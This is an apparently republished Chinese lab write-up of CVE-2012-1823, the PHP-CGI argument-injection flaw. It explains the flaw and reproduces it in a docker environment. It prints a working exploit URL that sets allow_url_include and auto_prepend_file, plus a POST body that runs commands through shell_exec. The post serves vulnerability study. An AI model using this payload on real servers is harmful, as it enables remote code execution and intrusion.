(CVE-2012-1823)PHP-CGI远程代码执行漏洞

Posted 王小帥

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了(CVE-2012-1823)PHP-CGI远程代码执行漏洞相关的知识,希望对你有一定的参考价值。

漏洞原理

  • php-cgi是一个类似于消息的“传递者”,它接收web容器收到的http数据包,并把里面的数据交给PHP解释器执行。
  • php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。
  • cgi方式:web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork除一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,然后子进程结束,但是这个cgi模式不能接收同时接收大量的请求,因为创建进程的时候会消耗服务器资源,资源也不是无限的,所以有了fastcgi
  • fastcgi方式:fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接收数据包,执行后返回结果,但自身并不退出。
  • CVE-2012-1823就是存在于以cgi模式运行的php中。
  • 本质是用户请求的参数被作为了php-cgi的参数。

漏洞影响

  • 影响版本 php < 5.3.12 or php < 5.4.2

漏洞利用

CGI模式下有如下一些参数可用

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h和-?显示帮助

我们通过-d利用远程文件包含来提交远程执行代码从而利用该漏洞。

漏洞复现

启动环境:

docker-compose up -d
docker ps

我们根据映射的端口访问:http://192.168.41.138:8080/

使用-s查看源码,也就是 

 http://192.168.41.138:8080/index.php?-s 查看源码如下: 

  

使用-d执行命令,输入如下payload:

http://192.168.41.138:8080/index.php-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 

POST部分:<?php echo shell_exec('[你想要输入的命令]'); ?>

然后抓包修改,提交方式改为POST;

pwd 

 复现完毕。别忘了移除环境:

docker-compose down
docker ps

 

ok! 

参考复现:漏洞复现

 

以上是关于(CVE-2012-1823)PHP-CGI远程代码执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章

CTFshow刷题日记-WEB-PHPCVE(web311-315)包括PHP-fpm远程代码执行,PHPimap_open函数任意命令执行,PHP-CGI远程代码执行,XDebug 远程调试漏洞(代

代做远程系统系统代写远程终端管理系统

远程代答平台的使用心得

远程代答平台如何实现打码盈利?

Git如何从远程拉取最新代码,并与本地代

windows2003怎么定时重启PHP-CGI